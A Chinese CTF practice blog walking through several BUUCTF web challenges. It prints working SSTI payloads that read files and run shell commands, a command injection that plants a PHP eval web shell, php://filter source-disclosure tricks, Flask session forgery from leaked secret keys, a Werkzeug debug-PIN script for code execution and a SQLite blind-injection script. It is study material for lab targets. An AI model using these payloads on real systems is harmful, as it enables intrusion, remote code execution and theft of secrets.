写在前面 寒假重启每日一题计划,这回想挑战一些以前打得比较少的知识,比如SSRF、SSTI、JSON/COOKIE伪造、JS原型链污染等等,所以冲就完事了!
[FBCTF2019]Event
初见是一个登录框,其中Admin panel
目录提示需要先登录
试了一些 sql 注入的万能密码,没用,常规登录后Admin panel
提示需要成为管理员
Event panel
目录页面有输入的地方,猜测 ssti 模板注入,开burp抓包,post 三个参数逐一测试,在event_impotant
参数中测试__dict__
得到回显,确定是模板注入,由于是 post 传参,不懂怎么拿 tplmap 跑,所以继续手工注入
__class__.__init__.__globals__
看一下可使用的 module、方法以及所有变量,确认是 flask 模板
__class__.__init__.__globals__[app].config
读配置文件信息,发现一个SECRET_KEY: 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
,思路尬住,不知道这玩意干啥用的,去找了 flask 的一些资料
flask 是采用客户端 session 的存储方式,其中为了防止用户篡改 session ,采用了以下的操作,其中的SECRET_KEY
正是用来配合 hmac 算法形成签名的私钥,由开发者设定或随机生成
- json.dumps 将对象转换成 json 字符串,作为数据
- 如果数据压缩后长度更短,则用 zlib 库进行压缩
- 将数据用 base64 编码
- 通过 hmac 算法计算数据的签名,将签名附在数据后,用“.”分割
- 总结就是:json->zlib->base64 后的源字符串 . 时间戳 . hmac 签名信息
结合题目,猜到是伪造 admin 的 cookie 来垂直提权,找脚本跑出 admin 的 cookie
替换 cookie 中的 user 拿到 flag
[羊城杯 2020]Easyphp2
进来信息收集第一找到了robots.txt中的check.php
和域名有个?file=GWHT.php
,但是页面都一样,感觉只能是伪协议读源码,但是用了常规的 base64读读不出来,百度其他姿势,发现可以用convert.quoted-printable-encode
转换过滤器来给源码编码
好文章
php://filter
参数详解(来自上面文章内知识点)
该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
php://filter 参数 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(\)分隔。 |
write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(\)分隔。 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
可用的过滤器列表(4类)
此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13() ,rot13变换 |
string.toupper | 等同于strtoupper() ,转大写字母 |
string.tolower | 等同于strtolower() ,转小写字母 |
string.strip_tags | 等同于strip_tags() ,去除html、PHP语言标签 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode() 和base64_decode() ,base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
压缩过滤器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器 | 作用 |
---|---|
mcrypt.* | libmcrypt 对称加密算法 |
mdecrypt.* | libmcrypt 对称解密算法 |
payload:php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
拿到GWHT.php
的源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>count is here</title>
<style>
html,
body {
overflow: none;
max-height: 100vh;
}
</style>
</head>
<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">
<center><img src="question.jpg" height="200" width="200" /> </center>
<?php
ini_set('max_execution_time', 5);
if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>
<h1>A Counter is here, but it has someting wrong</h1>
<form>
<input type="hidden" value="GWHT.php" name="file">
<textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
<input type="submit">
</form>
<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>
</body>
</html>
payload:php://filter/read=convert.quoted-printable-encode/resource=check.php
拿到check.php
的源码,发现财富密码 cookie 是GWHT
<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";
header('Location: /');
GWHT.php
中存在 exec 危险函数,正则过滤形同虚设,直接写 shell ?count=' echo "<?=eval(\$_POST['ma'])?>" > ma.php ||'
拼接到exec函数里面是这样
exec('printf \'' echo "<?=eval(\$_POST['ma'])?>" > ma.php ||' '\' | wc -c')
蚁剑连接以后发现问题很大,flag居然不在根目录,找到flag.txt
居然没权限,还有事情要搞
README
中给了个密码哈希,解出来是GWHTCTF
,看文件的用户权限发现 GWHT 用户有读的权限,猜测密码是用户 GWHT 的
payload:printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
拿到flag
之后看别人的wp,伪协议那里一堆骚操作
/?file=php://filter/zlib.deflate/resource=GWHT.php
利用zlib.flate过滤器down到本地解压?file=php://filter/read=convert.%2562%2561%2573%2565%2536%2534-encode/resource=GWHT.php
把字符串base64
用 url 编码两次(这个的原理就是将源码里正则过滤掉的字符串里,用 url 编码两次就能绕过正则,为什么要编码两次?第一次是浏览器解码,第二次是远端 php 解释器解码)
PASECA2019]honey_shop
还挺简介的一个前端页面,进来自己有1336块钱,flag 刚好1337块钱
信息收集没发现东西,开始抓包分析,买 flag 的包应该没有逻辑漏洞,session 有点奇怪,看起来很像 flask 的客户端三段式 session
eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.YBOd7w.rV8fHMwncKewfvWBytkY-2s8H9U
主页还有一个下载蜂蜜图片的链接,抓包后感觉应该有任意文件读的漏洞
这里到了知识盲区,Linux学得不好,去看了wp......,接下来用/proc/self/environ
(纪录当前进程,也就是python的环境变量),/proc/self/
永远指向当前进程,而本题源码中
SECRET_KEY = os.environ['SECRET_KEY']
将SECRET_KEY
保存进了环境变量,可以通过读/proc/self/environ
获取,environ文件记录着当前进程(的环境变量信息,然后伪造cookie)
SECRET_KEY = KG7QyFcIJ3rekEjRUUgt19W5fYxh6oTDgQ29MuMe
这题还学到了新工具
利用工具弄出新的 session 值替换后发包买 flag,get
[BSidesCF 2020]Had a bad day
简洁的前端,抓包分析,尝试 sql 注入发现是文件包含漏洞,根据报错可以得知 url 中会自动拼接一个.php
伪协议读源码,没有任何过滤
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index"))
{
include ($file . '.php');
}
else
{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
意思就是 url 里面一定要有woofers
或meowers
或index
,不然报错,第一反应是目录穿越(不知道是不是我理解的那样),顺利拿到 flag
payload:php://filter/read=convert.base64-encode/resource=index/../flag
百度了其他人的wp,有说目录穿越的方法是因为PHP会对路径进行规范化处理,另一种解法是php://filter伪协议可以套一层协议,利用了PHP对不存在过滤器的容错性,虽然会报warning,但是还是输出了结果
payload:php://filter/index/read=convert.base64-encode/index/resource=flag
(会报警告)
[GYCTF2020]FlaskApp
很明显是一个用 flask 写的加解密 base64 的 web 应用,官方给的 hint 是失败乃成功之母
,由于模板注入的题一大片都是知识盲区,试了几个 payload 以后直接找资料了,结果说是 flask 的 debug 模式,属于 ssti 模板注入的报错注入
解密页面随意输入进入报错页面,可以读到泄露的一部分源码
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
读源码 payload :
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField('BASE64解密',validators= [DataRequired()]) submit = SubmitField('提交') def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET']) def hint(): txt = "失败乃成功之母!!" return render_template("hint.html",txt = txt) @app.route('/',methods=['POST','GET']) def encode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64encode(text.encode()) tmp = "结果 :{0}".format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode')) else : text = "" form = NameForm(text) return render_template("index.html",form = form ,method = "加密" ,img = "flask.png") @app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp) flash( res ) return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = "解密" , img = "flask1.png") @app.route('/<name>',methods=['GET']) def not_found(name): return render_template("404.html",name = name) if __name__ == '__main__': app.run(host="0.0.0.0", port=5000, debug=True)
解法一:过 waf 直接读 flag
由于看到了 waf 函数
def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1
字符串拼接扫描更目录,发现this_is_the_flag.txt
,payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}# os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']
读 flag ,payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}# 字符串切片拼接过waf{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}# 用[::-1]来进行倒置过waf
解法二:debug 模式结合 PIN 码进行 RCE
通过看资料,半懂不懂的知道了生成 PIN 码需要六个东西,当前计算机用户名:XXX
、flask.app
、Flask
、flask库下app.py的绝对路径
、当前网络的mac地址的十进制数【str(uuid.getnode())】
、机器的id【get_machine_id()】
组合获得,缺一不可
- flask 登录的用户名,通过读
/etc/passwd
可知,用户名为flaskweb
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flaskweb:x:1000:1000::/home/flaskweb:/bin/sh
- modname,一般为
flask.app
getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
,该值一般为Flask
,不变- flask库下app.py的绝对路径,报错信息已经泄露该值。题中为
/usr/local/lib/python3.7/site-packages/flask/app.py
- 当前网络的mac地址的十进制数,通过文件/sys/class/net/eth0/address 获取(eth0为网卡名)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}# 02:42:ac:10:81:43 # 转十进制为 2485377859907
机器的 id
对于非 docker 机器,每一台机器都会有自己唯一的 id ,Linux 的 di 一般存放在
/etc/machine-id
或/proc/sys/kernel/random/boot_i
对于 docker 机器,则存放在
/proc/self/cgroup
中,第一行的/docker
字符串后面的内容为机器的 idpayload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}12:blkio:/docker/b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a 11:devices:/docker/b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a 10:memory:/docker/b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a 9:rdma:/ 8:hugetlb:/docker/b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a 7:cpuset:/docker/b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a 6:cpu,cpuacct:/docker/b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a 5:pids:/docker/b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a 4:perf_event:/docker/b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a 3:freezer:/docker/b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a 2:net_cls,net_prio:/docker/b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a 1:name=systemd:/docker/b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a 0::/system.slice/containerd.service # 机器的 id 为 b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1ab792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a
最后计算 PIN 码,计算PIN值的关键代码在Lib\site-packages\werkzeug\debug\\_\_init__.py
import hashlibfrom itertools import chain# flask 登录的用户名(flaskweb)、modname(flask.app)、Flask、flask库下 app.py 的绝对路径probably_public_bits = [ 'flaskweb'# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),]# 网络 mac 地址的十进制数和机器 id private_bits = [ '2485377859907',# str(uuid.getnode()), /sys/class/net/ens33/address 'b792b3782c32d8e4b4a8dd88e6f770377e3506363eb81fd3fcd114ab588dcd1a']h = hashlib.md5()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = numprint(rv)# 350-904-288
输入 PIN 码解锁终端,拿到 flag
这题学到了很多,尤其是 flask 在 debug 模式下的安全隐患以及 PIN 码的生成过程,但是最大的疑惑点在于这些 payload 为什么是这样写的,找了很多 wp 都没有解释为什么,可能是没做过 flask 的开发,不懂这个东西,以后得找时间补一下知识
[BSidesCF 2019]Sequel
登录框,信息搜集失败,只能爆破,需要同时爆破账号和密码,burpsuite中的Attack type选择Cluster bomb,分别设置两个字典,得到账号密码都是guest
,登录进来一脸懵
抓包分析,发现cookie
有问题,很纯的 base64
解码为{"username":"guest","password":"guest"}
,感觉是 cookie 注入,但是一直认为是 mysql 的,一直拿 sqlmap 嗦,嗦不出来,绝望之下看了 wp,居然是 sqllite 的注入,直接上脚本
import requestsimport stringimport base64URL = 'http://4c0beba4-7f7b-45e6-ac68-b2877743ade4.node3.buuoj.cn/sequels'LETTERS = string.printabletarget = ""while True: f = False for e in LETTERS: tmp = target + e # 1.表名 payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT name FROM sqlite_master limit 0,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format( len(tmp), e) # 2.username # payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT username FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) # 3.password # payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT password FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) payload = base64.b64encode(payload.encode('utf-8')).decode("utf-8") req = requests.Request( 'GET', URL, params={ }, cookies={ "1337_AUTH": payload } ) prepared = req.prepare() s = requests.Session() r = s.send(prepared, allow_redirects=False) if "Movie" in r.text: target = tmp print(target) f = True break if f: continue exit()
表名为:userinfo
,用户名是sequeladmin
,密码是f5ec3af19f0d3679e7d5a148f4ac323d
很不错的一道 cookie 盲注题目,顺便复习了一下 sql 语句,终于看得懂脚本了,很开心
2021.02.02 回外婆家给老人家过生日,没带电脑,停更一天
[MRCTF2020]PYWebsite
精美的前端页面加源代码中的前端校验函数,发现一个flag.php
去到flag.php
,关键字是IP
和我自己
,盲猜 xff 头伪造,拿到 flag
[BSidesCF 2020]Hurdles
访问/hurdles
改请求方式为 PUT
访问路径后加上/!
,翻译过来是这个意思,不知道为什么
/?get=flag
,请求 flag
需要传参的名为&=&=&
,首先将其进行url编码,得:%26%3D%26%3D%26
需要将&=&=&
的值等于%00(换行符)
,其后还包含了一个换行符,也是进行url编码,得:%2500%0a
http auth 认证机制
I'm sorry, Basically, I was expecting the password of the hex representation of the md5 of the string 'open sesame'
抓包添加用basic auth 写上用户名player,密码是md5加密后的 ‘open sesame’ 就是 54ef36ec71201fdf9d1423fd26f97f6b,player:54ef36ec71201fdf9d1423fd26f97f6b 用 base64 加密后就是认证
要 1337 浏览器
1337 浏览器版本号超过 9000,1337v.9100
xff 给个伪造
要多层代理
指定了客户端的 ip
要 cookie 为 Fortune
需要 Cookie 中包含2011
年的RFC编号
,百度得2011
版的RFC
协议的值为6265
只接受纯文本(MIME)形式的请求,添加请求头信息Accept:text/plain
他妈的居然是俄语,套娃到现在我真的有点生气了,修改Accept-Language
请求头属性,俄国的国际缩写是ru
需要网站源来自https://ctf.bsidessf.net
,即修改origin
需要来自https://ctf.bsidessf.net/challenges
,即修改referer
拿到 flag
真的究极套娃
[CSCCTF 2019 Qual]FlaskLight
源码中给了提示
这题实在太懵逼,直接面向 wp 做题了,又学到了很多,感觉 python 的这些模板真神奇
参考博客:[[CSCCTF 2019 Qual]FlaskLight]](https://www.cnblogs.com/ersuani/p/13896200.html)
a. 获取变量[]所属的类名
{{[].__class__}}
b. 获取list所继承的基类名{{[].__class__.__base__}}
c. 获取所有继承自object的类{{[].__class__.__base__.__subclasses__()}
}没有内置的os模块的类 目录查询
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
读取目录flask{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
读取flag{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
内含os模块的类(不需要import os) class'site.Printer' 内含os模块 在第71位 目录查询 `{{[]._class.base.subclasses()[71].init['glo'+'bals']['os'].popen('ls').read()}}
本来想直接用listdir('/'),但这里listdir同样被ban了 读取目录flasklight
{{[].class.base.subclasses()[71].init['glo'+'bals']['os'].popen('ls /flasklight').read()}}读取flag
{{[].class.base.subclasses()[71].init['glo'+'bals']['os'].popen('cat coomme_geeeett_youur_flek').read()}`
[BSidesCF 2019]Kookie
经典登录框,有提示要用 amdin 登录,还提到了 cookie,包括题目的提示也跟 cookie 有关
我直接cookie=admin
,居然成了???经典莫名其妙拿 flag ,不知道在干嘛
[GXYCTF2019]StrongestMind
让我想到 bugku 里面有一题秋名山车速的题,肯定是拿 python 写脚本跑的,手填的速度不够快
import requestsimport reimport timeurl = "http://1bcec2e2-c414-4c56-9072-02f9cdb11ad7.node3.buuoj.cn/"s = requests.session() #会话保持source = s.get(url)equation = re.findall(r'\d+.[+-].\d+', source.text) #算式正则asw = eval(equation[0])s.post(url,data={"answer":asw})for i in range(0,1010): equation = re.findall(r'\d+.[+-].\d+', source.text) #算式正则 asw = eval(equation[0]) print(asw,i)#运行的时候看的见效果 source = s.post(url,data={"answer":asw}) time.sleep(0.4) #防止被buu ban掉print(source.text)